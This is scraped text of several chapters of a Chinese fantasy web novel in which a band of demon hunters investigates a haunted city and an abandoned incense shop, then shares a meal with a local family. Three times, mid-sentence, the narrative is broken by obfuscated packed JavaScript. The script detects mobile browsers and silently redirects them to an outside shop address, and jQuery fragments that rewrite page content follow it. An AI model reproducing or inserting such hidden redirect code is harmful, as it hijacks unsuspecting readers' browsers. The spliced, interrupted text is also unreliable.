周春和态度强硬的把那两块糖塞到谢斯年手里。谢斯年低头看了看,那两块包装的严严实实的糖块正安静的躺在他的手里,仔细摸一摸,似乎还能感觉到糖块上少女残留的余温。 他再一抬头,周春和已经自顾自的又拿出另一个馒头掰开吃了,她吃的津津有味,边吃边一脸“听我和你细细道来”的表情继续说:“谢斯年,我看你就是吃东西吃的太少了,所以才整天……”这么阴沉,不过周春和被馒头噎了一下,没能把这句话完整的说出来,她咳嗽两声,谢斯年一脸嫌弃的帮她拍了拍背。 周春和继续说:“以后呢,只要你不开心了,就可以多想想那些好吃的,你看世界上还要这么多好吃的好玩的,没必要拘泥于小小的一隅。”想了想,周春和笑着和他说,“就比如我给你的这块糖,以后每当你不开心了,你就吃一颗。等吃完了再来我这里领,我会一直给你的。” 谢斯年垂下眼眸,没说话,但他的眉眼已经变得放松下来。 周春和牢牢记得周夏莲给她的任务,和谢斯年走街串巷打听了一遍。因为刚刚忽然出现的那个无眼人已经化为齑粉,是以虽然周春和知道他和泊烟香肯定关系密切,但是也没办法再从无眼人身上找到什么有用的线索了。 走了一上午,周春和发现这阴阳城确实有些不太对劲。 按照风水来看,这座城地势低洼,周围又有群山呼应,各处种着各色绿植,应该坐北朝南才是聚财破劫之道,可这城中的房子却全都是坐南朝北,哪怕是到了晌午,房间中也照不进阳光。这不像是正常住人的房子,到像是……倒像是依着地势造出来的一个用以聚拢东西困住什么的牢笼。 而且周春和走了一会儿,就发现城中这既热闹又冷清的感觉是怎么来的了。 城中家家户户都开着,各种铺子和小店也都开门迎客,可街上却几乎没什么行人。 周春和在街上走了半天,除了有气无力吆喝的小贩和零星几个匆匆走过的行人之外,就没再见过其他人。 这实在是有些不对劲,现在既不是晚上也不是什么特殊的时节,为什么偌大的城中会没有在街上的行人? 周春和随便走进一家店铺,称了几块糖,等老板找零的时候忍不住问那老板:“老板,我有一事不解,不知老板可否为我解答?” 那老板看着面容很和善,闻言立刻笑眯眯地说:“自然,姑娘问吧。” 周春和想了想,问道:“我们今日刚刚到此处,所以对城中事务不甚了解。刚刚我和……我哥哥出来游玩,却发现街上几乎没什么行人,但那些铺子却都还开着,不知这是为什么啊?” 谁知原本还笑容满面的老板一下子就变得严肃起来,还长长的叹了口气,把找零的钱递给了周春和,边说道:“姑娘有所不知啊,前几年这城中发生了一桩大事,据说一夜之间忽然在城中发现了十几具猎妖人的尸体,但既不知是何人所为,也不知那些猎妖人是从何处来这儿的。总之从此以后这座城就被怨灵缠上了,不止一个人说曾在夜晚看见怨灵在城中哭诉,要么就是遇见鬼打墙鬼压床,而且城中时不时也会出现一些怪事,比方说前几日,隔壁街的柳家大娘忽然口不能言,并且一张口就会吐出沙土来,还是请了大师做法才了却了这桩事。上个月,李家胡同那家琴铺的七弦古琴忽然自己弹奏起来,并且昼夜不息,声音如泣如诉,十分可怖。类似这样的事情比比皆是,数不胜数啊。一开始大家还没当回事,但渐渐的大家几乎都遇上了一些怪事,久而久之后来大家也就谨慎起来,不仅晚上闭门不出,就连白天没什么事情也都不会再出来,以免不知道哪里惹到了暗处不干净的东西,搅得家宅不宁。” 周春和和谢斯年对视一眼,继续问:“难道你们不曾找过猎妖人么?” 老板继续长叹口气:“这事也确实奇也怪哉,我们何止找过一次猎妖人,只是怪就怪在每次猎妖人来的时候,城中的怨灵便不再做怪,就像是有了灵智一样,知道谁可以惹谁不能惹,长此以往,那些猎妖人也不信了,城中人也不想再自讨没趣,就只能自己忍下来。” 周春和更加奇道:“既然大家深受其扰,为何不想着从此处搬离呢?” 老板道:“这事也说来话长,一来是大家祖祖辈辈住在这里,早已经习以为常,真让大家离开,大家不一定舍得。二来虽然城中有怨灵,但也只是小打小闹,还未惹出过人命,所以大家躲久了也就习惯了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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周夏莲她们直到晌午才回客栈,彼时的周春和和谢斯年也刚坐下,周春和正琢磨着什么时候点菜合适,一抬头就看见了周夏莲。 周春和看到周夏莲有种看到家的感觉,慌不迭跑过去就要给周夏莲一个大大的拥抱,连桌边的凳子都被她带倒了。 抱完了周夏莲,周春和又热切的围在傅怀玉身边说长道短,一脸兴奋的模样。 谢斯年看着周春和面对傅怀玉时和面对他时那完全不同的热切样子,顿时有些说不清道不明的恼火。他说不清这种感觉从何而来,但他显然不是很喜欢这种感觉。 不过他心中再怎么百转千回,表面上也只是微微笑着盯着周春和,一句话也没说。 周春和围着周夏莲转了一会儿,和他们一起坐到了桌子旁边。 周春和问:“阿姐,你们这趟出去,可曾发现什么东西?” 周夏莲拿手帕的指尖似乎微微停滞了一下,她脸上的笑意有些收敛,有些凝重的点了点头:“我们问遍了城中所以的香料铺子,他们都不曾卖过这种香料,不过……” “不过什么?” “不过城北有家废弃已久的香料铺子,据说已经关门了好多年,但是一直都有香味源源不断的子里面传来,这种情况已经持续了好几年了,城中人知道里面闹鬼,是以从来不敢进去,每次路过都绕很远。我给他们闻了从秦淮沟拿来的泊烟香香料,他们闻了之后,说与那废弃的香料铺子发出的香味一模一样。” 40. 阴阳城 周春和便将她和谢斯年遇到无眼人的事情也一五一十的告诉了周夏莲,为了不叫周夏莲发现什么,周春和谎称那无眼人最后是逃脱了,他们身单力薄,最后也没追上。 周夏莲一听立刻紧张起来:“那你们没事吧?” 周春和拍拍胸脯,大言不惭道:“放心吧阿姐,区区一个无眼人还奈何不了我。我身上有你给的那些符咒,对付他们绰绰有余。” 周夏莲端详了周春和一会儿,见她确实不像是受伤的样子,这才松了口气:“春和,你要切记保命才是第一位的,若是发现自己打不过,万万不要恋战,一定要赶紧跑知道吗?” 说着又看向谢斯年,同样是一脸严肃,“还有你,也要赶紧就跑,不要逞强,记住了没有?” 谢斯年立刻绽放出一个天真烂漫的笑容,靠在周夏莲的腿边朝她撒娇:“好,姐姐说的话我都记着呢,你就放心吧。” 周春和心里腹诽,装,接着装。表面上却不敢说什么,只是同样笑容可掬的和周夏莲保证了再保证。 几个人吃过饭,商量接下来的行程。 周春和道:“那咱们就一道前去那个废弃的香铺瞧瞧吧?” 按照周夏莲原本的意思,是不想让周春和、霄无缺和谢斯年跟着去这么危险的地方,但是架不住周春和央求,于是像之前每次她都会心软那样,这次她又心软了,最后还是同意带着周春和一同前去。 几个人稍作休息,然后就带上各自的武器和一些符咒一同前往那废弃的香铺。 和周夏莲他们打听到的差不多,离那铺子还有十几米远的时候,周春和就已经闻到了一股若有若无的香味,这味道正是泊烟香的味道。 他们越靠近香铺,那股香味就越是清晰。 等几人在铺子前面停下,香味已经很明显了。周春和吸了吸鼻子,感觉周身都已经被这股香味包裹住。 铺子确实已经破败不堪,上面的牌匾上刻着幽梦居三个大字,牌匾已经摇摇欲坠。 门上已经遍布虫蛀,窗户被木板钉死,角落里布满蜘蛛网和不知名的小虫,杂草已经长到了半人高,看起来荒凉又破败不堪。 周夏莲走在最前面,裴瑾紧随其后。 周春和躲在傅怀玉身后,眼睛一眨不眨的盯着周夏莲长臂一挥,推开了幽梦居的门。 门发出吱呀惨叫声,但门楣上却不曾落下多少灰尘,干净的和整体的环境格格不入。 周夏莲和裴瑾对视一眼,两个人立刻领悟到了对方的意思。周夏莲微微一笑,和裴瑾一左一右一起踏了进去。 两个人之间那种只能看见彼此的默契让周春和都觉得羡慕,她想了想,想到了谢斯年,既然自己都觉得两个人如此甜蜜了,那让谢斯年看见岂不是得更加堵得慌? 正当她幸灾乐祸的回头悄悄看向谢斯年的时候,却发现谢斯年的视线根本不在周夏莲和裴瑾身上。 周春和顿时觉得有些索然无味,她跟紧了傅怀玉,心说看来谢斯年近来大有长进啊——在不争风吃醋这件事上。搞得她都没什么乐子可看了。 还没等她细想,却猛然发现谢斯年的视线移向了她,周春和猝不及防的和他对上了视线,还没反应过来的时候,就见谢斯年的表情无比淡漠,很快移开了眼睛。 周春和精准的捕捉到了谢斯年看似平静下的隐隐恼火,但她不明白这种恼火从何而来,于是全部归功于还是因为周夏莲和裴瑾太亲密了又让这位占有欲强的没边的病娇吃醋了。反正这也不关她的事,她心安理得的往傅怀玉身边靠了靠,对上傅怀玉关切的目光,她还不忘冲他一笑。 然后她就感觉到身后的那道目光似乎更灼热了,不过周春和依然没多想,还觉得是谢斯年看向周夏莲的时候,捎带着不小心看见了她而已。 周夏莲推门进去之后,提脚踏了进去。 打眼看上去,这铺子依稀能看出原本的模样,只是不知道为什么里面由很多很重的打斗痕迹,导致屋内一片凌乱。 裴瑾和周夏莲对视一眼,朝身后跟进来的人提醒道:“大家留意脚下,莫要被绊倒了才是。” 周春和第一个应和:“知道了裴大哥。” 谢斯年为保持在周夏莲面前的良好形象,也不得不跟着敷衍的答应了一声。 这个屋子的朝向和城中大部分的屋子一样,都是坐南朝北的,而且与其他房子不同的是,这座铺子出于整个城的地势最低之处,这也就导致了光照进来的量是最少的,所以房子也是整座城里最黑的。 房子的窗户都被订了板子,能照进来的光就更少了,现在明明是太阳最毒辣的时候,可是进了这个房子却像是进入了另外一个幽暗寂静的世界。 周春和“身临其境”,连呼吸声都忍不住放缓了。 而且由于没有阳光的原因,房间里面无比阴凉,时不时还有一阵不知道从哪里吹进来的冷风,让人有种鸡皮疙瘩起遍全身的恐怖感。 周夏莲和裴瑾显然也察觉到了不对劲,两个人在房间内仔细搜寻起来,谢斯年百无聊赖的靠在一个勉强可以算是干净的柱子上,屈着腿观察周边的物件和环境。霄无缺比他更过分,直接飞身上了横梁,叼着一根不知道从哪里薅来的狗尾巴草悠哉游哉的看底下的几个人干活。 傅怀玉倒是还算尽心尽力,不过他也很少走动。周春和缩在傅怀玉身后,心安理得的当了一回“缩头乌龟”。 周夏莲和裴瑾将房间的每一寸都看遍了,就连边边角角也没有放过。看完之后,两个人的表情都有些凝重。 周春和从傅怀玉身后走出来,一眼就看出来周夏莲心事重重:“阿姐可是发现了什么,怎么这副表情?” 周夏莲面色凝重道:“不知你们有没有发现这遍屋的打斗痕迹。” 周春和不解的回答:“这是自然,这些痕迹如此明显,怕是一眼就能看出来。” “是的,刚刚我和阿瑾仔细看了看这座宅子,我本以为这些痕迹是在同一个时间弄出来的,可是刚刚看了看却发现并不是这样。来,春和,你看这里。这两块痕迹虽然是叠在一起的,但是能明显看出来有一块痕迹很新鲜,还有一块上面已经再度布满了灰尘……还有这块,可以明显看出来有很多痕迹都是后来弄上去的,甚至一层一层叠加,有很多已经不知道是什么时候弄的了,有的却很新鲜,几乎在我们之前不久就曾有人来过,并且在这里发生了恶战。” 周春和皱了皱眉,立刻领悟到了周夏莲的意思:“阿姐,你的意思是,不止我们到这里来,在我们之前还有多许多人曾来过这里,甚至还在这里发生了打斗是吗?” “没错,而且看这些痕迹,打斗的两方实力都不容小觑。” 这个周春和倒是能看出来,这屋子里面是肉眼可见的凌乱不堪,断掉的桌子腿和椅子腿飞的到处都是,家具残缺不堪,甚至就连几个柱子上也都布满深深的刀剑刻痕。听了周夏莲的话,周春和仔细打量了一下这个房间,果然看见各处的痕迹都是旧痕垒新痕,是经过多次打斗才造成的。 周春和若有所思道:“怪不得一进来的时候那门上没落下多少灰尘。按照常理来说,若是一个房间当真是许久没有人来,那么开门时理应落下很多飞尘,而且房间里会有一种说不上来的霉味……可咱们进来的时候,这个房间却既没灰尘也没有那种尘封已久的味道,若是这么说,那就说得通了。这铺子看似废弃已久,实则隔一段时间就会被人闯进来……不过我有一点十分好奇,阿姐,你说闯进来打斗的会是谁?为什么又要在这个地方打斗?你们说会不会和那个泊烟香有关?” 周夏莲面色严肃的摇摇头:“这也是我疑问的地方。” 就在姐妹二人百思不得其解时,裴瑾的声音从一侧传来:“阿莲,来这边瞧瞧。” 周夏莲回过神,示意周春和跟上来。 两个人走近裴瑾,才发现他指的正是墙角的一个柱子。这柱子乍一看没什么,仔细瞧了才发现上面有一个深深刻入柱身的爪印。 周春和比了比自己的手掌,惊讶的发现这爪印确确实实是人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576646|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手掌,只不过这手掌比她的大了很多,应该是个男人的手掌。 周夏莲忍不住咋舌道:“这究竟用了多大的力气,才能把手掌捅进木头木头这么深的地方。” 周春和对着那个掌痕比划了一下,也忍不住咋舌:“能捅到这个程度,恐怕那手掌早已经废了吧。可奇怪的是为什么这根柱子上没有鲜血?若是人的手掌,那早就该鲜血淋漓了。” 周夏莲和裴瑾显然也想到了这一点,他们曾仔细地看过,但这根柱子上确确实实没有一丝血迹。 这也太奇怪了,周春和问道:“阿姐,难不成有什么功法是可以把人变成铜墙铁壁的?” 在这个严肃的时刻,周夏莲被周春和的一句话逗笑了。裴瑾也忍不住笑了笑:“据我所知,应该并没有这种功法。” 周夏莲笑完了,补充道:“也没有类似的符咒。” 周春和脸上难掩失望,“袖手旁观”这一切的谢斯年在一旁似笑非笑的补充道:“我看周小姐这是话本看多了吧。” 周春和回头瞪了他一眼,就你有嘴是吧! 大家的心情放松了一瞬,傅怀玉笑眯眯地说:“房间中萦绕着泊烟香的味道,也不知这香味究竟是从哪里传来的。” 一句话让大家的心情又变得凝重起来,裴瑾想了想,回答道:“我看二楼后面的香柜还完整无损,说不定味道是从那里传来的,我们去看看吧。” “好。” 裴瑾说的香柜是二楼整个房间靠南的那边占据了一整面墙的大柜子,柜子被分成了好几个小格子,每个格子分门别类的放着不同的香料。 刚刚只有裴瑾和周夏莲去过二楼,其他人都只在一楼转了转,见裴瑾这么说,大家便依次走向二楼。 二楼楼梯靠近南面,由于年久失修,踩上去还会咯吱咯吱作响,一不留神就会有掉下去的风险。霄无缺依然躺在一楼的横梁上没动,打头的是裴瑾和周夏莲,谢斯年走在中间,周春和和傅怀玉走在最后,一抬头还能清晰的看见扶手上那可怖的剑痕。 ——显然在这里打架的人也没有放过这个可怜的楼梯。 周春和思维发散,忍不住稍稍设想了一下说不定这痕迹就是在来的人毫无防备上楼梯的时候被人从后面偷袭留下来的。 这个设想实在是有点让人脊背发凉,而且不知道是不是周春和的错觉,她总感觉似乎有一双眼睛在暗处盯着自己。 但当她回头看的时候,屋内一切又都还是原来的模样,并没有什么不同。周春和只好安慰自己是自己想多了。 来到二楼,周春和立刻就发现这里比一楼更黑暗,而且二楼没有窗户,唯一的光线来源就是一楼通向二楼的这个楼梯,但因为一楼的光线原本也不强,所以能照到二楼的光线就更弱了。 来到二楼之后,周春和那种被人注视的感觉就更加强烈了。 她隐隐有些不敢抬头,总觉得在看不见的地方全是盯着自己看的眼睛。 好在周夏莲很快燃起了一张长明符,将二楼照的一览无余。天花板上有很多破洞,露出黑黝黝的屋脊和裸漏的砖石。 二楼也有打斗的痕迹,只不过光线不好,大家也没空细看。裴瑾说的那个大柜子在最里面,就在他们上来的左手边。 几个人毫无防备的走向那个大柜子,不知道是不是那边没有窗户的原因,众人都感觉到越是往那个位置走越阴森。 裴瑾第一个来到柜子前,长明符的灯关照亮了大半个柜子,众人看向那柜子时,就发现果然如裴瑾所说,这柜子异常整洁,不仅没有被破坏的痕迹,甚至连灰尘都不曾出现。 裴瑾也生起了一种强烈的不安感,这柜子显然不太对劲,而且不知道是不是他的错觉,他觉得越靠近这柜子,那股子属于泊烟香的奇异香味就更浓郁,现在几乎浓郁到了熏人的地步。 他忍住心里的怪异感觉,抬手伸向那柜子。 就在他的指尖即将碰到柜子的一瞬间,一阵缓慢上楼的诡异脚步声忽然在黑暗中如炸弹般响了起来。 41. 阴阳城 在听到脚步的一瞬间,周春和的头皮一下子炸开了。她原本就不自觉的在心里设想无数的可怕场景,但是等现实中真的出现这种诡异的声响时,她的心脏还是有一瞬间的停滞。 好在裴瑾和周夏莲早已经反应过来,一左一右挡在其他人前面,双双戒备的抽出长剑对准楼梯口,只要有什么不对劲的东西冒出头,那么他们就能立刻将人制服。 周春和看着严严实实挡在自己前面的人,不禁心中一热,真是没姐的孩子像根草,有姐的孩子像个宝啊像个宝,现在周春和才切切实实感觉到了有人保护的那种踏实感觉。 然后她又想到了刚刚和无眼人对峙时和谢斯年呆在一起的时候,不禁叹了口气,谢斯年这厮,有妖魔鬼怪的时候他虽然是可靠的那个,但没有妖魔鬼怪的时候,他就是那个最大的妖魔鬼怪。 在长明灯的映照之下,楼梯口的景象一览无余。周春和提着一口气紧张的盯着楼梯口,脑海里已经想象了无数个会从楼梯口出现的东西。 在所有人屏住呼吸的时候,一团巨大的阴影缓缓倒映在墙上,并且越来越大,越来越大。 周春和刚见到那个颤颤巍巍的阴影时,眼皮忍不住重重一跳,但她很快就发现这只是长明灯照耀之下映在墙上的影子罢了。 不过大家的并没有因为这是个影子而松口气,在煎熬的等待中,一个满头银丝的老妇人举着一个不大亮的油灯颤颤巍巍的走了上来。 那老妇人刚一见到满屋的人,也同样被吓了一跳,险些从楼梯上跌下去。 为首的周夏莲连忙轻轻扶住老人,裴瑾见状也逐渐放松了警惕。 等老人站稳之后,周夏莲将到放回刀鞘之中,忍不住出言询问:“老人家,你怎么来这里了?” 那老人擦了擦额头上的汗,重重地叹了口气:“我只不过路过此处,听见里面有动静,还以为……还以为又和之前一样,就想赶过来看看。” 周夏莲和裴瑾交换了一下眼神,裴瑾温言问道:“老人家,不知你说的这个‘和之前一样’是什么意思?” 那老人看了一眼周围,缩了缩脖子,叹了口气压低声音道:“此地不宜久留,我们还是去别处说吧。” 说着,那老人转过身领着大家下去。周夏莲见老人有些站不稳,担心她摔倒在楼梯上,连忙走上前去搀扶着老人一起下去。 几人下来之后,那老妪一路带着大家走出房门,这才松了口气似的,恢复正常的音量和大家说:“大家不知道,此地极其凶险,之前有许多人都听见了这里面时不时传来一些打斗的动静,但是每次声音消失之后,大家进去看的时候就发现里面除了新添的一些痕迹之外,就什么东西都没有了。既没有尸首也不见活人,真真是无比瘆人。所以等闲时谁也不敢靠近。我老了,说不定哪日就离开了,刚刚听见这房子里有动静,实在是想知道是什么东西在作祟,就壮着胆子进来瞧瞧,没想到遇见了你们这几位。看大家的打扮,应该是猎妖人吧?” 周夏莲点点头:“大娘,那你可知这地方到底是怎么回事?” 老妪摇了摇头:“我在这里生活了一辈子,也说不清这一切究竟是怎么回事。以往有猎妖人来城里的时候,那些妖祟就会风平浪静一段时间。等猎妖人一走,就又会卷土重来。我不知道你们在这里,所以还以为又有妖魔作祟了呢。” 老人说的和周春和他们打听到的差不多,眼见问不出更多线索了,大家就想让大娘先行回去,省的沾染上什么,毕竟老人手无寸铁,和他们这些猎妖人不同,一旦被盯上了,难免会引发祸端。 可那老人在得知他们是猎妖人之后,极力邀请他们来家里坐坐。 大家拗不过大娘的好意,只好答应下来。 走了两步,周春和发现有什么东西不对劲,思索了两秒才恍然大悟:“等等……霄无缺呢?” 听见周春和的话,大家下意识地回头看去,却发现原本应该躺在横梁上地霄无缺不知道什么时候消失不见了。 周夏莲皱了皱眉,心里有种不好的预感。 周春和一时间也觉得奇怪:“怪不得刚刚大娘上来的时候一点动静也没有,敢情是霄无缺那小子偷偷离开了,我说怎么没人给我们提醒,还让我们吓了好大一跳呢!” 虽然霄无缺不像是周春和说的那样是自己“偷偷离开”,但刚刚他们在二楼时确实没有听见一点什么不对劲的动静,若是有什么人绑架了霄无缺,以霄无缺的力量即便是打不过也不可能不发出一点声音,所以只有可能是他自己不知道以什么理由不声不响的离开了,应该不是被人掳走的。 而且周夏莲简单检查了一下霄无缺刚刚所在的位置,那里没有任何打斗的痕迹,这点从侧面佐证了霄无缺是自己主动离开的。 原本霄无缺和他们非亲非故,是半路非要自己加进来,现在他出于某种原因自己离开了,他们也没有办法过多的加以干涉,更何况,人已经没了,他们就是想管也管不着了。 大概确定霄无缺没什么危险之后,周夏莲也就没再多想。 现在他们人生地不熟,与霄无缺也不是很熟悉,也就只得随霄无缺去了。 这个小插曲过后,大家便又继续跟着那老妪一同往她家走去。 到了一家看着很朴素的茅草农舍,老人热情的邀请他们进去。农舍中除了老妇人之外,还有一个才总角的小丫头和一对看起来很质朴的夫妇。 细问之下才知道老妇人姓张,街坊邻居都叫她一声张奶奶,那男人是她的儿子,名叫范绍,是此地的里正,里正娘子叫阿玲。小丫头才两岁大,看起来肉嘟嘟的,见人就咧开嘴巴笑,小名叫团团。 周夏莲笑眯眯的逗了一会儿团姐儿,就被张奶奶邀进去吃茶。 张奶奶笑道:“这茶是我们自己晒的,或许不如你们吃的精致些,也算是我们的一份心意,还希望你们别嫌弃才是。” 周夏莲连忙接下,笑道:“张奶奶这是哪里话,我们感激还来不及,怎么还会嫌弃。” 大家喝过茶,周夏莲时刻想着正事,便问张奶奶:“张奶奶,你可知那幽梦居到底是怎么回事?它的前主人是谁,又为何被废弃了?” 张奶奶放下茶杯,长叹一声道:“这件事可就说来话长了。从前那幽梦居还未曾荒废的时候,那可是盛极一时,前去买香的人络绎不绝,甚至就连一些达官贵人也都闻声而来,幽梦居一时门庭若市。至于你说的那幽梦居的主人我们倒是还从未有人见过,据说是从蛮夷之地来的,制得一手好香,也正是靠安神香打开了销路。你们刚刚在那铺子里闻见的香味,就正是那最出名的安神香。可是后来不知道出了什么事,那老板忽然就说要关门,但此前也未曾发生过什么事情,是以大家都二丈摸不着头脑,觉得店长失心疯了,要么就是遇到了什么难事。可不管谁问,店里的伙计就是闭口不答,当夜他们整个店铺就全搬走了,从此以后再也没听见他们的消息。也正是从他们走后,城中一些怪异的事情才频频发生,而他们的铺子的那股安神香的香味源源不断,即便是店铺已经废弃了,也依然会有香味传来。于是大家就传,其实那幽香居的老板是个妖怪,开这个店就是蛊惑人心的,后来见瞒不住了才不得不离开……反正众说纷纭,大家也不知道真相究竟是什么,但谁也不敢再接近那个铺子。” 张奶奶的话毕竟都是道听途说,也只是大家的揣测,当不得真。周夏莲沉吟片刻,连张奶奶这种年岁的人都没有什么有用的线索,看来他们之后也能从城中居民这里得到什么线索的几率也很渺茫了。 不过她也不觉得沮丧,她相信哪怕是再诡异的事情也总能找到一丝蛛丝马迹,她相信他们这么多人一定能找到真相,只是时间早晚而已。 张奶奶又强留众人在家里吃饭,大家抵不住张奶奶的热情,只好纷纷答应下来。 范绍和阿玲去厨房做菜,张奶奶就陪着大家坐在院子里聊聊天。 团团在院子里玩毽子,不过她人小,还不太会踢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16576647|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周春和看了一会儿,就忍不住笑嘻嘻的加入进去,边逗小孩边陪她踢毽子。 玩着玩着,周夏莲也忍不住拉着裴瑾一起加入进来。虽然周夏莲平常看着跟小大人似的,可归根结底她也只比周春和长了两岁而已,不见得就不如周春和贪玩,只不过因为肩负重任,所以一直压抑着罢了。今日见此场景,她心底一片柔软,便忍不住抛开平常的那些烦心事,和周春和一起放开手脚玩起来。四个人玩得不亦乐乎,周春和回头叫傅怀玉和谢斯年,谢斯年依然懒洋洋的靠在墙壁上没动,傅怀玉倒是笑眯眯的答应了周春和的邀请。 玩着玩着,隔壁邻居过来给张奶奶还锄头,见几个人在踢毽子,于是笑着折返回去从家里拿了几个沙包过来:“哎呦,看你们几个人争一个毽子玩多挤得慌啊,我这里还有小孩玩的沙包,一直留在家里也是无用,正好给你们玩了。” 他靠在门框上和张奶奶闲打牙,看着几个人玩,忍不住笑道:“这几位公子小姐看着面生,是最近刚来的吧?” 张奶奶笑道:“是啊,这几位还是猎妖人呢。我看他们合我的眼缘,是以邀请他们来我这寒酸地方吃个饭。” 那人仔细瞧了瞧几个人,笑道:“不论是公子还是小姐,这模样都顶顶好。让我猜猜看,”他指着裴瑾和周夏莲笑眯眯地说,“这两位必定是一家,”又指了指周春和和被周春和抓住不放的傅怀玉,“这两位也必定是一家了。” 听他这么说,周夏莲脸上立刻羞得通红,半笑半嗔道:“没有的事儿,我们、”她和裴瑾对视一眼,忍不住飞红了脸,羞惭惭道,“我们不过是志同道合的好友而已。” 周夏莲鲜少有这般小女儿姿态的时候,是以裴瑾看着她这般模样,忍不住也耳廓微微发红,有些羞涩。 周春和则是依然大大咧咧,完全把这句话当成一个笑话来看,秉着不让话掉地上的原则,她笑嘻嘻的冲那汉子一拱手,同样以开玩笑的语气回道:“借你吉言,那我算是三生有幸了。” 那汉子乐的哈哈大笑,笑着笑着,忽然瞥见了一个人孤零零的靠在墙边的少年正似笑非笑的盯着周春和看,看完之后,又将那如毒蛇般的视线转向了他。 那目光实在是有些瘆人,明明是笑着的,可是眼底深处全是冷意。那汉子被笑得一激灵,很快意识到了什么,有些讪讪的主动和他搭话:“这位公子,你玩沙包吗?我这儿还有,给你一个。” 那汉子走两步,走到谢斯年身边,殷勤的递给他一个沙包。 谢斯年懒洋洋的伸手接了过去,当着周夏莲的面,他还很客气很有礼貌的和那汉子道了谢。 但周春和注意到,谢斯年接过来那个沙包之后就随手扔掉了,然后一直把玩着他们都不玩的毽子,再也没碰过那个沙包。 大家都没注意到谢斯年这恶劣的一面,除了那个给沙包的汉子和周春和。 那汉子面色讪讪的,知道自己惹到了谢斯年,也不敢再多待下去,省的再自讨没趣儿,很快就告辞离开了。 目睹了这一切的周春和忍不住摇摇头,心说这病娇少年果然是不记仇啊——有什么仇当场就报了。 周春和一猜就知道肯定汉子说周夏莲和裴瑾是一对的让他不痛快,他虽然当着周夏莲的面不能直接做什么,但他却可以通过其他方法让那汉子感觉到难堪。 这人真是,周春和把头摇了再摇,在心里默默的评价,此人果然是睚眦必报又小心眼,谁要是不小心惹到了他,虽然他当时可能面上不显,但心里绝对会瞧瞧给你记上一笔,然后一起还给你的。 不敢惹啊不敢惹,以后还是少和他接触,免得不知道怎么回事就惹到了他,被他在心里狠狠的记上一笔。正当周春和念叨着不敢惹的时候,一抬头,又对上了谢斯年那似笑非笑的眼睛。 他的视线扫过她抓着傅怀玉的手,很快又移开了。 周春和没当回事——此时的她还不知道自己已经成为那个被谢斯年在心里默默记上一笔的人了。 42. 阴阳城 大家玩闹了一会儿,饭也就做好了。 阿玲招呼大家来吃饭,因为房间里面坐不开,所以范绍和阿玲把木桌抬了出来,准备在院子里吃。 饭桌上大家其乐融融,周春和最喜欢这种“天下百姓一家亲”的感觉了,虽然之前和张奶奶一家素不相识,但坐在一起吃饭也没有什么不自在,仿佛旧相识般融洽。显然周夏莲的兴致也很高,一直在帮周春和和团团夹菜。 范绍不知道从哪里拿出一坛子自家酿的酒来,这酒的度数倒不是很高,他给大家每人分了一小杯。怕耽搁周夏莲他们的正事,就只给他们倒了一点。 周春和提议大家一起举杯,众人纷纷笑着应和,只有谢斯年百无聊赖的看着大家笑意盎然的脸,心底里闪出一点不解。 他不明白为什么大家一遇到这种温馨的场景就会这么开心,更不明白这种氛围有什么值得开心的。 和刚见面的陌生人有什么值得聊的?他们不担心有诈吗? 为什么大家都很开心呢?为什么可以这么轻易的就相信刚认识的人呢?他心中生出一丝不解,同时也感觉到一股被热闹人群抛下的孤独感。 他看着玩闹的众人,觉得似乎不论如何也融不进去。 就在这时候,一只纤纤玉手忽然横在他眼前,将一块鸡肉放进了他的碗里。 他一抬头,看见了正吃的满嘴油花的周春和正笑眯眯的看着他。就算是没有周春和最爱的猪蹄了,她也照样能把别的东西吃出猪蹄的感觉。 谢斯年心里一动,那股有些奇怪的情绪还没散开,就听见周春和笑眯眯的继续说:“我碗里没空了,先放你这里,不许给我偷吃了。” 谢斯年顺着她的视线看过去,果然看见了周春和碗里已经被堆出了一座小山,其中大部分是周夏莲夹的,小部分是傅怀玉和裴瑾看她吃得香,忍不住给她放的。 看来确实是没空放了才放在他这里,谢斯年心里原本就不多的那点情绪倏忽消散了,他正要冷笑一声,就见周春和扑哧一声笑了出来。 那笑容无比灿烂,能融化冬日的坚冰。周春和开朗的嘲笑他:“哈哈哈哈哈哈,谢斯年,你还真信了啊?这就是我夹给你的,我看你还一口没动呢,这块鸡肉特别好吃,所以我想让你尝尝。你要是再不吃的话,阿姐就要全部夹给我了,你就没得吃了。” 谢斯年怔怔地看着乐不可支的少女,她的眼睛干净又纯净,亮晶晶的盯着他。刚刚消散的情绪似乎以另一种不可阻挡之势卷土重来,而且这次更加猛烈、更加浓厚,让他无处可躲。 周春和说完之后,又自顾自的吃起来,谢斯年盯着那块鸡肉盯了很久,才动作僵硬的夹起那块鸡肉吃起来。 这鸡肉确实如周春和所说的一样好吃,甚至好吃到在吃完之后那股温暖像是一路流进了他的心里,让他久未逢甘霖的心中重新充盈起来。 吃过饭,天色也差不多黑了下来,大家不便再逗留,纷纷告辞离开。 